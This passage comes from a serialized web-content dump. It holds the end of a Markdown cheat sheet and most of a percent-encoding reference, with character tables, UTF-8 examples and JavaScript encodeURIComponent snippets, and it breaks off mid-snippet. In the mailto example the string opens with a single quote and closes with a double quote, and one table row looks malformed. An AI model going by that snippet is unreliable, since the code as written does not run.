markers",[143,245853,9412],{},[143,245855,8069],{},[143,245857,9448],{}," in the same list creates inconsistency",[44,245860,245861,245864,245865,245867],{},[47,245862,245863],{},"Trailing spaces for line breaks"," — two spaces at the end of a line create a ",[143,245866,34609],{},", but this is invisible in editors and easy to break accidentally",[11,245869,1124],{"id":1123},[193,245871,245872,245880],{},[196,245873,245874],{},[199,245875,245876,245878],{},[202,245877,3041],{},[202,245879,28715],{},[211,245881,245882,245892,245900,245909,245919,245929,245938,245948,245958,245968],{},[199,245883,245884,245887],{},[216,245885,245886],{},"Heading",[216,245888,245889],{},[143,245890,245891],{},"## Heading",[199,245893,245894,245896],{},[216,245895,55352],{},[216,245897,245898],{},[143,245899,245238],{},[199,245901,245902,245905],{},[216,245903,245904],{},"Italic",[216,245906,245907],{},[143,245908,245220],{},[199,245910,245911,245914],{},[216,245912,245913],{},"Link",[216,245915,245916],{},[143,245917,245918],{},"[text](url)",[199,245920,245921,245924],{},[216,245922,245923],{},"Image",[216,245925,245926],{},[143,245927,245928],{},"![alt](src)",[199,245930,245931,245933],{},[216,245932,87859],{},[216,245934,245935],{},[143,245936,245937],{},"`code`",[199,245939,245940,245943],{},[216,245941,245942],{},"Blockquote",[216,245944,245945],{},[143,245946,245947],{},"> quote",[199,245949,245950,245953],{},[216,245951,245952],{},"List",[216,245954,245955],{},[143,245956,245957],{},"- item",[199,245959,245960,245963],{},[216,245961,245962],{},"Table",[216,245964,245965],{},[143,245966,245967],{},"| col | col |",[199,245969,245970,245973],{},[216,245971,245972],{},"HR",[216,245974,245975],{},[143,245976,137396],{},[11,245978,321],{"id":320},[41,245980,245981,245985,245989],{},[44,245982,245983],{},[98,245984,7538],{"href":7537},[44,245986,245987],{},[98,245988,244331],{"href":244330},[44,245990,245991],{},[98,245992,245994],{"href":245993},"\u002Fguides\u002Fplaceholder-text-best-practices","Placeholder Text Best Practices",[11,245996,286],{"id":285},[16,245998,245999,246000,246002],{},"Ready to put Markdown into practice? Use our free ",[98,246001,148518],{"href":34894}," to write Markdown and see the rendered HTML output instantly.",[2043,246004,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":246006},[246007,246008,246009,246010,246015,246019,246024,246025,246026,246027,246028,246033,246034,246035,246036],{"id":245133,"depth":337,"text":245134},{"id":147791,"depth":337,"text":147792},{"id":245196,"depth":337,"text":96476},{"id":147895,"depth":337,"text":147896,"children":246011},[246012,246013,246014],{"id":245290,"depth":343,"text":245291},{"id":245332,"depth":343,"text":245333},{"id":245359,"depth":343,"text":245360},{"id":245392,"depth":337,"text":245393,"children":246016},[246017,246018],{"id":148027,"depth":343,"text":148028},{"id":245427,"depth":343,"text":132950},{"id":143,"depth":337,"text":87859,"children":246020},[246021,246022,246023],{"id":145400,"depth":343,"text":145401},{"id":148066,"depth":343,"text":148067},{"id":245498,"depth":343,"text":245499},{"id":245590,"depth":337,"text":245591},{"id":109784,"depth":337,"text":3107},{"id":245683,"depth":337,"text":245684},{"id":245712,"depth":337,"text":245713},{"id":245763,"depth":337,"text":245764,"children":246029},[246030,246031,246032],{"id":244810,"depth":343,"text":110266},{"id":245788,"depth":343,"text":245789},{"id":245807,"depth":343,"text":245808},{"id":10392,"depth":337,"text":10393},{"id":1123,"depth":337,"text":1124},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master Markdown syntax with this comprehensive guide. Learn headings, links, images, code blocks, tables, and advanced features.",{"immutable":363},{"title":245128,"description":246037},"guides\u002Fmarkdown-syntax-guide","_imDrB6YTEv2iDvyULzuz2jp2cA8PWpASnb8Y7yzamw",{"id":246043,"title":246044,"body":246045,"date":235803,"description":247813,"extension":361,"meta":247814,"navigation":363,"path":120061,"readingTime":1710,"seo":247815,"stem":247816,"__hash__":247817},"guides\u002Fguides\u002Fpercent-encoding-reference.md","Percent-Encoding Reference: Reserved & Unreserved Characters",{"type":8,"value":246046,"toc":247789},[246047,246051,246057,246063,246066,246068,246077,246081,246403,246407,246437,246441,246475,246479,246482,246573,246578,246582,246594,246598,246601,246778,246782,246785,247256,247267,247271,247277,247369,247372,247447,247451,247455,247504,247508,247571,247575,247644,247648,247759,247761,247778,247780,247786],[11,246048,246050],{"id":246049},"what-is-percent-encoding","What Is Percent-Encoding?",[16,246052,246053,246054,246056],{},"Percent-encoding is the mechanism defined in RFC 3986 for representing data within a URI. It replaces characters with a percent sign ",[143,246055,17990],{}," followed by two uppercase hexadecimal digits representing the character's byte value.",[135,246058,246061],{"className":246059,"code":246060,"language":140},[138],"Space   → %20\n&       → %26\né (UTF-8) → %C3%A9\n",[143,246062,246060],{"__ignoreMap":141},[16,246064,246065],{},"This reference covers every character you need to know about when building or parsing URLs.",[11,246067,215150],{"id":215149},[16,246069,246070,246071,217926,246073,246076],{},"Reserved characters have special meaning in URI syntax. When they appear as ",[47,246072,12781],{},[47,246074,246075],{},"delimiters",", they must be percent-encoded.",[33,246078,246080],{"id":246079},"complete-reserved-characters-table","Complete Reserved Characters Table",[193,246082,246083,246096],{},[196,246084,246085],{},[199,246086,246087,246089,246091,246093],{},[202,246088,127406],{},[202,246090,4031],{},[202,246092,172482],{},[202,246094,246095],{},"Role in URI Syntax",[211,246097,246098,246120,246139,246158,246175,246192,246208,246226,246242,246257,246275,246290,246305,246321,246337,246353,246369,246385],{},[199,246099,246100,246104,246107,246111],{},[216,246101,246102],{},[143,246103,8037],{},[216,246105,246106],{},"3A",[216,246108,246109],{},[143,246110,215244],{},[216,246112,246113,246114,246116,246117,1525],{},"Scheme separator (",[143,246115,219215],{},"), port separator (",[143,246118,246119],{},":443",[199,246121,246122,246126,246129,246133],{},[216,246123,246124],{},[143,246125,9423],{},[216,246127,246128],{},"2F",[216,246130,246131],{},[143,246132,84140],{},[216,246134,246135,246136,1525],{},"Path separator (",[143,246137,246138],{},"\u002Fapi\u002Fusers",[199,246140,246141,246145,246148,246152],{},[216,246142,246143],{},[143,246144,33994],{},[216,246146,246147],{},"3F",[216,246149,246150],{},[143,246151,98679],{},[216,246153,246154,246155,1525],{},"Query string start (",[143,246156,246157],{},"?q=search",[199,246159,246160,246164,246166,246170],{},[216,246161,246162],{},[143,246163,6852],{},[216,246165,56390],{},[216,246167,246168],{},[143,246169,172538],{},[216,246171,246172,246173,1525],{},"Fragment identifier (",[143,246174,98838],{},[199,246176,246177,246181,246184,246189],{},[216,246178,246179],{},[143,246180,24385],{},[216,246182,246183],{},"5B",[216,246185,246186],{},[143,246187,246188],{},"%5B",[216,246190,246191],{},"IPv6 address delimiter",[199,246193,246194,246198,246201,246206],{},[216,246195,246196],{},[143,246197,131065],{},[216,246199,246200],{},"5D",[216,246202,246203],{},[143,246204,246205],{},"%5D",[216,246207,246191],{},[199,246209,246210,246214,246216,246220],{},[216,246211,246212],{},[143,246213,6849],{},[216,246215,18162],{},[216,246217,246218],{},[143,246219,215272],{},[216,246221,246222,246223,1525],{},"Authority separator (",[143,246224,246225],{},"user@host",[199,246227,246228,246232,246234,246239],{},[216,246229,246230],{},[143,246231,27989],{},[216,246233,4772],{},[216,246235,246236],{},[143,246237,246238],{},"%21",[216,246240,246241],{},"Sub-delim",[199,246243,246244,246248,246250,246255],{},[216,246245,246246],{},[143,246247,11938],{},[216,246249,61489],{},[216,246251,246252],{},[143,246253,246254],{},"%24",[216,246256,246241],{},[199,246258,246259,246263,246265,246269],{},[216,246260,246261],{},[143,246262,13530],{},[216,246264,22905],{},[216,246266,246267],{},[143,246268,84136],{},[216,246270,246271,246272,1525],{},"Query parameter separator (",[143,246273,246274],{},"a=1&b=2",[199,246276,246277,246281,246283,246288],{},[216,246278,246279],{},[143,246280,9361],{},[216,246282,529],{},[216,246284,246285],{},[143,246286,246287],{},"%27",[216,246289,246241],{},[199,246291,246292,246296,246298,246303],{},[216,246293,246294],{},[143,246295,1688],{},[216,246297,170856],{},[216,246299,246300],{},[143,246301,246302],{},"%28",[216,246304,246241],{},[199,246306,246307,246311,246314,246319],{},[216,246308,246309],{},[143,246310,1525],{},[216,246312,246313],{},"29",[216,246315,246316],{},[143,246317,246318],{},"%29",[216,246320,246241],{},[199,246322,246323,246327,246330,246335],{},[216,246324,246325],{},[143,246326,8069],{},[216,246328,246329],{},"2A",[216,246331,246332],{},[143,246333,246334],{},"%2A",[216,246336,246241],{},[199,246338,246339,246343,246346,246350],{},[216,246340,246341],{},[143,246342,9448],{},[216,246344,246345],{},"2B",[216,246347,246348],{},[143,246349,172565],{},[216,246351,246352],{},"Sub-delim (also means space in form encoding)",[199,246354,246355,246359,246362,246367],{},[216,246356,246357],{},[143,246358,6858],{},[216,246360,246361],{},"2C",[216,246363,246364],{},[143,246365,246366],{},"%2C",[216,246368,246241],{},[199,246370,246371,246375,246378,246382],{},[216,246372,246373],{},[143,246374,36973],{},[216,246376,246377],{},"3B",[216,246379,246380],{},[143,246381,215258],{},[216,246383,246384],{},"Sub-delim (param separator)",[199,246386,246387,246391,246394,246398],{},[216,246388,246389],{},[143,246390,7297],{},[216,246392,246393],{},"3D",[216,246395,246396],{},[143,246397,172524],{},[216,246399,246400,246401,1525],{},"Query parameter assignment (",[143,246402,172410],{},[33,246404,246406],{"id":246405},"when-to-encode-reserved-characters","When to encode reserved characters",[41,246408,246409,246417,246425],{},[44,246410,246411,1663,246414],{},[47,246412,246413],{},"As data in query strings",[143,246415,246416],{},"?url=https%3A%2F%2Fexample.com",[44,246418,246419,1663,246422],{},[47,246420,246421],{},"As data in path segments",[143,246423,246424],{},"\u002Fsearch\u002Fhello%20world",[44,246426,246427,1663,246430,246433,246434,246436],{},[47,246428,246429],{},"When the character's delimiter role is not intended",[143,246431,246432],{},"?q=AT%26T"," (encoding the ",[143,246435,13530],{}," in \"AT&T\")",[33,246438,246440],{"id":246439},"when-not-to-encode-reserved-characters","When NOT to encode reserved characters",[41,246442,246443,246452,246460,246468],{},[44,246444,246445,246447,246448,246451],{},[143,246446,9423],{}," between path segments: ",[143,246449,246450],{},"\u002Fapi\u002Fusers\u002F42"," — leave as-is",[44,246453,246454,246456,246457,246451],{},[143,246455,33994],{}," starting a query string: ",[143,246458,246459],{},"?search=hello",[44,246461,246462,246464,246465,246451],{},[143,246463,7297],{}," assigning query values: ",[143,246466,246467],{},"?page=1",[44,246469,246470,246472,246473,246451],{},[143,246471,13530],{}," separating parameters: ",[143,246474,217438],{},[11,246476,246478],{"id":246477},"unreserved-characters","Unreserved Characters",[16,246480,246481],{},"Unreserved characters never need encoding and should not be encoded. Encoding them produces equivalent but unnecessarily long URLs.",[193,246483,246484,246495],{},[196,246485,246486],{},[199,246487,246488,246490,246492],{},[202,246489,919],{},[202,246491,202002],{},[202,246493,246494],{},"Count",[211,246496,246497,246509,246521,246532,246542,246552,246562],{},[199,246498,246499,246502,246507],{},[216,246500,246501],{},"Uppercase letters",[216,246503,246504],{},[143,246505,246506],{},"A B C ... Z",[216,246508,22905],{},[199,246510,246511,246514,246519],{},[216,246512,246513],{},"Lowercase letters",[216,246515,246516],{},[143,246517,246518],{},"a b c ... z",[216,246520,22905],{},[199,246522,246523,246525,246530],{},[216,246524,14495],{},[216,246526,246527],{},[143,246528,246529],{},"0 1 2 ... 9",[216,246531,36197],{},[199,246533,246534,246536,246540],{},[216,246535,121721],{},[216,246537,246538],{},[143,246539,9412],{},[216,246541,3585],{},[199,246543,246544,246546,246550],{},[216,246545,21443],{},[216,246547,246548],{},[143,246549,468],{},[216,246551,3585],{},[199,246553,246554,246556,246560],{},[216,246555,103204],{},[216,246557,246558],{},[143,246559,23056],{},[216,246561,3585],{},[199,246563,246564,246567,246571],{},[216,246565,246566],{},"Tilde",[216,246568,246569],{},[143,246570,6845],{},[216,246572,3585],{},[16,246574,246575],{},[47,246576,246577],{},"Total: 66 unreserved characters",[33,246579,246581],{"id":246580},"why-tilde-matters","Why tilde (~) matters",[16,246583,246584,246585,246587,246588,170377,246590,246593],{},"Older specifications (RFC 2396) classified ",[143,246586,6845],{}," as a reserved character. RFC 3986 moved it to unreserved. Some legacy systems still encode ",[143,246589,6845],{},[143,246591,246592],{},"%7E",", but this is unnecessary and should be avoided.",[11,246595,246597],{"id":246596},"common-encoded-values-quick-reference","Common Encoded Values Quick Reference",[16,246599,246600],{},"The table below covers frequently encoded characters with practical context:",[193,246602,246603,246614],{},[196,246604,246605],{},[199,246606,246607,246609,246611],{},[202,246608,7809],{},[202,246610,172482],{},[202,246612,246613],{},"Common Scenario",[211,246615,246616,246627,246640,246653,246666,246678,246691,246705,246719,246732,246742,246754,246766],{},[199,246617,246618,246620,246624],{},[216,246619,6093],{},[216,246621,246622],{},[143,246623,34150],{},[216,246625,246626],{},"Spaces in any URL component",[199,246628,246629,246633,246637],{},[216,246630,246631],{},[143,246632,8721],{},[216,246634,246635],{},[143,246636,215373],{},[216,246638,246639],{},"Quotes in HTML attribute URLs",[199,246641,246642,246646,246650],{},[216,246643,246644],{},[143,246645,17990],{},[216,246647,246648],{},[143,246649,33701],{},[216,246651,246652],{},"Literal percent sign (avoid double-encoding)",[199,246654,246655,246659,246663],{},[216,246656,246657],{},[143,246658,6431],{},[216,246660,246661],{},[143,246662,215346],{},[216,246664,246665],{},"Angle brackets in URL data",[199,246667,246668,246672,246676],{},[216,246669,246670],{},[143,246671,28226],{},[216,246673,246674],{},[143,246675,215360],{},[216,246677,246665],{},[199,246679,246680,246684,246688],{},[216,246681,246682],{},[143,246683,34605],{},[216,246685,246686],{},[143,246687,215406],{},[216,246689,246690],{},"Backslash in Windows paths",[199,246692,246693,246697,246702],{},[216,246694,246695],{},[143,246696,38799],{},[216,246698,246699],{},[143,246700,246701],{},"%5E",[216,246703,246704],{},"Caret in data values",[199,246706,246707,246711,246716],{},[216,246708,246709],{},[143,246710,8219],{},[216,246712,246713],{},[143,246714,246715],{},"%60",[216,246717,246718],{},"Backtick in data values",[199,246720,246721,246725,246729],{},[216,246722,246723],{},[143,246724,51622],{},[216,246726,246727],{},[143,246728,215389],{},[216,246730,246731],{},"Curly brace in JSON data",[199,246733,246734,246736,246738],{},[216,246735,8219],{},[216,246737,8219],{},[216,246739,246740],{},[143,246741,215420],{},[199,246743,246744,246748,246752],{},[216,246745,246746],{},[143,246747,8230],{},[216,246749,246750],{},[143,246751,215392],{},[216,246753,246731],{},[199,246755,246756,246758,246763],{},[216,246757,128787],{},[216,246759,246760],{},[143,246761,246762],{},"%09",[216,246764,246765],{},"Tab character in form data",[199,246767,246768,246770,246775],{},[216,246769,201309],{},[216,246771,246772],{},[143,246773,246774],{},"%0A",[216,246776,246777],{},"Line break in text",[11,246779,246781],{"id":246780},"ascii-printable-characters-full-table","ASCII Printable Characters Full Table",[16,246783,246784],{},"Every printable ASCII character and its encoding status:",[193,246786,246787,246808],{},[196,246788,246789],{},[199,246790,246791,246794,246796,246798,246800,246802,246804,246806],{},[202,246792,246793],{},"Dec",[202,246795,127406],{},[202,246797,172482],{},[202,246799,222156],{},[202,246801,246793],{},[202,246803,127406],{},[202,246805,172482],{},[202,246807,222156],{},[211,246809,246810,246837,246863,246890,246917,246943,246969,246996,247023,247049,247077,247103,247129,247156,247180,247206,247233],{},[199,246811,246812,246814,246816,246820,246823,246826,246830,246834],{},[216,246813,36042],{},[216,246815,6093],{},[216,246817,246818],{},[143,246819,34150],{},[216,246821,246822],{},"Encode",[216,246824,246825],{},"58",[216,246827,246828],{},[143,246829,8037],{},[216,246831,246832],{},[143,246833,215244],{},[216,246835,246836],{},"Reserved",[199,246838,246839,246841,246845,246849,246851,246853,246857,246861],{},[216,246840,5295],{},[216,246842,246843],{},[143,246844,27989],{},[216,246846,246847],{},[143,246848,246238],{},[216,246850,246836],{},[216,246852,19995],{},[216,246854,246855],{},[143,246856,36973],{},[216,246858,246859],{},[143,246860,215258],{},[216,246862,246836],{},[199,246864,246865,246868,246872,246876,246878,246880,246884,246888],{},[216,246866,246867],{},"34",[216,246869,246870],{},[143,246871,8721],{},[216,246873,246874],{},[143,246875,215373],{},[216,246877,246822],{},[216,246879,18333],{},[216,246881,246882],{},[143,246883,6431],{},[216,246885,246886],{},[143,246887,215346],{},[216,246889,246822],{},[199,246891,246892,246895,246899,246903,246905,246907,246911,246915],{},[216,246893,246894],{},"35",[216,246896,246897],{},[143,246898,6852],{},[216,246900,246901],{},[143,246902,172538],{},[216,246904,246836],{},[216,246906,35973],{},[216,246908,246909],{},[143,246910,7297],{},[216,246912,246913],{},[143,246914,172524],{},[216,246916,246836],{},[199,246918,246919,246921,246925,246929,246931,246933,246937,246941],{},[216,246920,42145],{},[216,246922,246923],{},[143,246924,11938],{},[216,246926,246927],{},[143,246928,246254],{},[216,246930,246836],{},[216,246932,4825],{},[216,246934,246935],{},[143,246936,28226],{},[216,246938,246939],{},[143,246940,215360],{},[216,246942,246822],{},[199,246944,246945,246947,246951,246955,246957,246959,246963,246967],{},[216,246946,72719],{},[216,246948,246949],{},[143,246950,17990],{},[216,246952,246953],{},[143,246954,33701],{},[216,246956,246822],{},[216,246958,28759],{},[216,246960,246961],{},[143,246962,33994],{},[216,246964,246965],{},[143,246966,98679],{},[216,246968,246836],{},[199,246970,246971,246974,246978,246982,246984,246986,246990,246994],{},[216,246972,246973],{},"38",[216,246975,246976],{},[143,246977,13530],{},[216,246979,246980],{},[143,246981,84136],{},[216,246983,246836],{},[216,246985,32226],{},[216,246987,246988],{},[143,246989,6849],{},[216,246991,246992],{},[143,246993,215272],{},[216,246995,246836],{},[199,246997,246998,247000,247004,247008,247010,247013,247017,247021],{},[216,246999,36063],{},[216,247001,247002],{},[143,247003,9361],{},[216,247005,247006],{},[143,247007,246287],{},[216,247009,246836],{},[216,247011,247012],{},"91",[216,247014,247015],{},[143,247016,24385],{},[216,247018,247019],{},[143,247020,246188],{},[216,247022,246836],{},[199,247024,247025,247027,247031,247035,247037,247039,247043,247047],{},[216,247026,18162],{},[216,247028,247029],{},[143,247030,1688],{},[216,247032,247033],{},[143,247034,246302],{},[216,247036,246836],{},[216,247038,73786],{},[216,247040,247041],{},[143,247042,34605],{},[216,247044,247045],{},[143,247046,215406],{},[216,247048,246822],{},[199,247050,247051,247054,247058,247062,247064,247067,247071,247075],{},[216,247052,247053],{},"41",[216,247055,247056],{},[143,247057,1525],{},[216,247059,247060],{},[143,247061,246318],{},[216,247063,246836],{},[216,247065,247066],{},"93",[216,247068,247069],{},[143,247070,131065],{},[216,247072,247073],{},[143,247074,246205],{},[216,247076,246836],{},[199,247078,247079,247081,247085,247089,247091,247093,247097,247101],{},[216,247080,14520],{},[216,247082,247083],{},[143,247084,8069],{},[216,247086,247087],{},[143,247088,246334],{},[216,247090,246836],{},[216,247092,170837],{},[216,247094,247095],{},[143,247096,38799],{},[216,247098,247099],{},[143,247100,246701],{},[216,247102,246822],{},[199,247104,247105,247108,247112,247116,247118,247120,247124,247126],{},[216,247106,247107],{},"43",[216,247109,247110],{},[143,247111,9448],{},[216,247113,247114],{},[143,247115,172565],{},[216,247117,246836],{},[216,247119,49777],{},[216,247121,247122],{},[143,247123,23056],{},[216,247125,3060],{},[216,247127,247128],{},"Unreserved",[199,247130,247131,247133,247137,247141,247143,247146,247150,247154],{},[216,247132,113618],{},[216,247134,247135],{},[143,247136,6858],{},[216,247138,247139],{},[143,247140,246366],{},[216,247142,246836],{},[216,247144,247145],{},"96",[216,247147,247148],{},[143,247149,8219],{},[216,247151,247152],{},[143,247153,246715],{},[216,247155,246822],{},[199,247157,247158,247160,247164,247166,247168,247170,247174,247178],{},[216,247159,1691],{},[216,247161,247162],{},[143,247163,9412],{},[216,247165,3060],{},[216,247167,247128],{},[216,247169,137937],{},[216,247171,247172],{},[143,247173,51622],{},[216,247175,247176],{},[143,247177,215389],{},[216,247179,246822],{},[199,247181,247182,247185,247189,247191,247193,247196,247200,247204],{},[216,247183,247184],{},"46",[216,247186,247187],{},[143,247188,468],{},[216,247190,3060],{},[216,247192,247128],{},[216,247194,247195],{},"124",[216,247197,247198],{},[143,247199,7334],{},[216,247201,247202],{},[143,247203,215420],{},[216,247205,246822],{},[199,247207,247208,247211,247215,247219,247221,247223,247227,247231],{},[216,247209,247210],{},"47",[216,247212,247213],{},[143,247214,9423],{},[216,247216,247217],{},[143,247218,84140],{},[216,247220,246836],{},[216,247222,203514],{},[216,247224,247225],{},[143,247226,8230],{},[216,247228,247229],{},[143,247230,215392],{},[216,247232,246822],{},[199,247234,247235,247238,247242,247244,247246,247248,247252,247254],{},[216,247236,247237],{},"48–57",[216,247239,247240],{},[143,247241,28727],{},[216,247243,3060],{},[216,247245,247128],{},[216,247247,35571],{},[216,247249,247250],{},[143,247251,6845],{},[216,247253,3060],{},[216,247255,247128],{},[16,247257,247258,247259,247262,247263,247266],{},"Characters 65–90 (",[143,247260,247261],{},"A–Z",") and 97–122 (",[143,247264,247265],{},"a–z",") are all unreserved and omitted from this table for brevity.",[11,247268,247270],{"id":247269},"unicode-and-utf-8-encoding","Unicode and UTF-8 Encoding",[16,247272,247273,247274,247276],{},"Non-ASCII characters use UTF-8 encoding before percent-encoding. Each UTF-8 byte becomes a separate ",[143,247275,34470],{}," sequence.",[193,247278,247279,247290],{},[196,247280,247281],{},[199,247282,247283,247285,247287],{},[202,247284,7809],{},[202,247286,24078],{},[202,247288,247289],{},"Percent-Encoded",[211,247291,247292,247307,247323,247339,247353],{},[199,247293,247294,247298,247303],{},[216,247295,247296],{},[143,247297,24101],{},[216,247299,247300],{},[143,247301,247302],{},"C3 A9",[216,247304,247305],{},[143,247306,215431],{},[199,247308,247309,247313,247318],{},[216,247310,247311],{},[143,247312,118433],{},[216,247314,247315],{},[143,247316,247317],{},"C2 A9",[216,247319,247320],{},[143,247321,247322],{},"%C2%A9",[199,247324,247325,247329,247334],{},[216,247326,247327],{},[143,247328,120712],{},[216,247330,247331],{},[143,247332,247333],{},"E2 82 AC",[216,247335,247336],{},[143,247337,247338],{},"%E2%82%AC",[199,247340,247341,247345,247349],{},[216,247342,247343],{},[143,247344,212341],{},[216,247346,247347],{},[143,247348,214694],{},[216,247350,247351],{},[143,247352,214699],{},[199,247354,247355,247359,247364],{},[216,247356,247357],{},[143,247358,95782],{},[216,247360,247361],{},[143,247362,247363],{},"F0 9F 8E 89",[216,247365,247366],{},[143,247367,247368],{},"%F0%9F%8E%89",[33,247370,247371],{"id":190495},"Practical example",[135,247373,247375],{"className":1607,"code":247374,"language":1609,"meta":141,"style":141},"\u002F\u002F Encoding a URL with Unicode\nconst name = 'José García';\nconst encoded = encodeURIComponent(name);\n\u002F\u002F \"Jos%C3%A9%20Garc%C3%ADa\"\n\n\u002F\u002F The space could also be + in form encoding\nconst formEncoded = new URLSearchParams({ name }).toString();\n\u002F\u002F \"name=Jos%C3%A9+Garc%C3%ADa\"\n",[143,247376,247377,247382,247395,247408,247413,247417,247422,247442],{"__ignoreMap":141},[1560,247378,247379],{"class":1562,"line":1563},[1560,247380,247381],{"class":1649},"\u002F\u002F Encoding a URL with Unicode\n",[1560,247383,247384,247386,247388,247390,247393],{"class":1562,"line":337},[1560,247385,8180],{"class":1669},[1560,247387,108846],{"class":1576},[1560,247389,8186],{"class":1669},[1560,247391,247392],{"class":5634}," 'José García'",[1560,247394,2228],{"class":1570},[1560,247396,247397,247399,247401,247403,247405],{"class":1562,"line":343},[1560,247398,8180],{"class":1669},[1560,247400,22961],{"class":1576},[1560,247402,8186],{"class":1669},[1560,247404,33745],{"class":1566},[1560,247406,247407],{"class":1570},"(name);\n",[1560,247409,247410],{"class":1562,"line":365},[1560,247411,247412],{"class":1649},"\u002F\u002F \"Jos%C3%A9%20Garc%C3%ADa\"\n",[1560,247414,247415],{"class":1562,"line":889},[1560,247416,1702],{"emptyLinePlaceholder":363},[1560,247418,247419],{"class":1562,"line":1710},[1560,247420,247421],{"class":1649},"\u002F\u002F The space could also be + in form encoding\n",[1560,247423,247424,247426,247429,247431,247433,247435,247438,247440],{"class":1562,"line":1717},[1560,247425,8180],{"class":1669},[1560,247427,247428],{"class":1576}," formEncoded",[1560,247430,8186],{"class":1669},[1560,247432,11489],{"class":1669},[1560,247434,34203],{"class":1566},[1560,247436,247437],{"class":1570},"({ name }).",[1560,247439,10052],{"class":1566},[1560,247441,90158],{"class":1570},[1560,247443,247444],{"class":1562,"line":1747},[1560,247445,247446],{"class":1649},"\u002F\u002F \"name=Jos%C3%A9+Garc%C3%ADa\"\n",[11,247448,247450],{"id":247449},"_4-practical-examples","4 Practical Examples",[33,247452,247454],{"id":247453},"_1-passing-a-url-as-a-query-parameter","1. Passing a URL as a query parameter",[135,247456,247458],{"className":1607,"code":247457,"language":1609,"meta":141,"style":141},"const targetUrl = 'https:\u002F\u002Fexample.com\u002Fsearch?q=hello&lang=en';\nconst link = `\u002Fredirect?url=${encodeURIComponent(targetUrl)}`;\n\u002F\u002F \"\u002Fredirect?url=https%3A%2F%2Fexample.com%2Fsearch%3Fq%3Dhello%26lang%3Den\"\n",[143,247459,247460,247474,247499],{"__ignoreMap":141},[1560,247461,247462,247464,247467,247469,247472],{"class":1562,"line":1563},[1560,247463,8180],{"class":1669},[1560,247465,247466],{"class":1576}," targetUrl",[1560,247468,8186],{"class":1669},[1560,247470,247471],{"class":5634}," 'https:\u002F\u002Fexample.com\u002Fsearch?q=hello&lang=en'",[1560,247473,2228],{"class":1570},[1560,247475,247476,247478,247481,247483,247486,247488,247490,247493,247495,247497],{"class":1562,"line":337},[1560,247477,8180],{"class":1669},[1560,247479,247480],{"class":1576}," link",[1560,247482,8186],{"class":1669},[1560,247484,247485],{"class":5634}," `\u002Fredirect?url=${",[1560,247487,33827],{"class":1566},[1560,247489,1688],{"class":5634},[1560,247491,247492],{"class":1570},"targetUrl",[1560,247494,1525],{"class":5634},[1560,247496,9582],{"class":5634},[1560,247498,2228],{"class":1570},[1560,247500,247501],{"class":1562,"line":343},[1560,247502,247503],{"class":1649},"\u002F\u002F \"\u002Fredirect?url=https%3A%2F%2Fexample.com%2Fsearch%3Fq%3Dhello%26lang%3Den\"\n",[33,247505,247507],{"id":247506},"_2-encoding-json-data-in-a-url","2. Encoding JSON data in a URL",[135,247509,247511],{"className":1607,"code":247510,"language":1609,"meta":141,"style":141},"const filters = JSON.stringify({ category: 'A&B', price: '\u003C100' });\nconst url = `\u002Fproducts?f=${encodeURIComponent(filters)}`;\n\u002F\u002F \"\u002Fproducts?f=%7B%22category%22%3A%22A%26B%22%2C%22price%22%3A%22%3C100%22%7D\"\n",[143,247512,247513,247542,247566],{"__ignoreMap":141},[1560,247514,247515,247517,247520,247522,247524,247526,247528,247531,247534,247537,247540],{"class":1562,"line":1563},[1560,247516,8180],{"class":1669},[1560,247518,247519],{"class":1576}," filters",[1560,247521,8186],{"class":1669},[1560,247523,89946],{"class":1576},[1560,247525,468],{"class":1570},[1560,247527,82298],{"class":1566},[1560,247529,247530],{"class":1570},"({ category: ",[1560,247532,247533],{"class":5634},"'A&B'",[1560,247535,247536],{"class":1570},", price: ",[1560,247538,247539],{"class":5634},"'\u003C100'",[1560,247541,11630],{"class":1570},[1560,247543,247544,247546,247548,247550,247553,247555,247557,247560,247562,247564],{"class":1562,"line":337},[1560,247545,8180],{"class":1669},[1560,247547,33819],{"class":1576},[1560,247549,8186],{"class":1669},[1560,247551,247552],{"class":5634}," `\u002Fproducts?f=${",[1560,247554,33827],{"class":1566},[1560,247556,1688],{"class":5634},[1560,247558,247559],{"class":1570},"filters",[1560,247561,1525],{"class":5634},[1560,247563,9582],{"class":5634},[1560,247565,2228],{"class":1570},[1560,247567,247568],{"class":1562,"line":343},[1560,247569,247570],{"class":1649},"\u002F\u002F \"\u002Fproducts?f=%7B%22category%22%3A%22A%26B%22%2C%22price%22%3A%22%3C100%22%7D\"\n",[33,247572,247574],{"id":247573},"_3-building-a-mailto-link-with-special-characters","3. Building a mailto link with special characters",[135,247576,247578],{"className":1607,"code":247577,"language":1609,"meta":141,"style":141},"const subject = 'Questions & Answers';\nconst body = 'What is 50% off?\";\nconst mailto = `mailto:help@example.com?subject=${encodeURIComponent(subject)}&body=${encodeURIComponent(body)}`;\n",[143,247579,247580,247594,247608],{"__ignoreMap":141},[1560,247581,247582,247584,247587,247589,247592],{"class":1562,"line":1563},[1560,247583,8180],{"class":1669},[1560,247585,247586],{"class":1576}," subject",[1560,247588,8186],{"class":1669},[1560,247590,247591],{"class":5634}," 'Questions & Answers'",[1560,247593,2228],{"class":1570},[1560,247595,247596,247598,247601,247603,247606],{"class":1562,"line":337},[1560,247597,8180],{"class":1669},[1560,247599,247600],{"class":1576}," body",[1560,247602,8186],{"class":1669},[1560,247604,247605],{"class":5634}," 'What is 50% off?\"",[1560,247607,2228],{"class":5159},[1560,247609,247610,247612,247615,247617,247620,247622,247624,247627,247629,247632,247634,247636,247638,247640,247642],{"class":1562,"line":343},[1560,247611,8180],{"class":1669},[1560,247613,247614],{"class":1576}," mailto",[1560,247616,8186],{"class":1669},[1560,247618,247619],{"class":5634}," `mailto:help@example.com?subject=${",[1560,247621,33827],{"class":1566},[1560,247623,1688],{"class":5634},[1560,247625,247626],{"class":1570},"subject",[1560,247628,1525],{"class":5634},[1560,247630,247631],{"class":5634},"}&body=${",[1560,247633,33827],{"class":1566},[1560,247635,1688],{"class":5634},[1560,247637,2485],{"class":1570},[1560,247639,1525],{"class":5634},[1560,247641,9582],{"class":5634},[1560,247643,2228],{"class":1570},[33,247645,247647],{"id":247646},"_4-avoiding-double-encoding","4. Avoiding double-encoding",[135,247649,247651],{"className":1607,"code":247650,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Double-encoding produces %2520 instead of %20\nconst already = encodeURIComponent('hello world'); \u002F\u002F \"hello%20world\"\nconst double = encodeURIComponent(already);         \u002F\u002F \"hello%2520world\"\n\n\u002F\u002F CORRECT: Check before encoding\nfunction safeEncode(str) {\n  try {\n    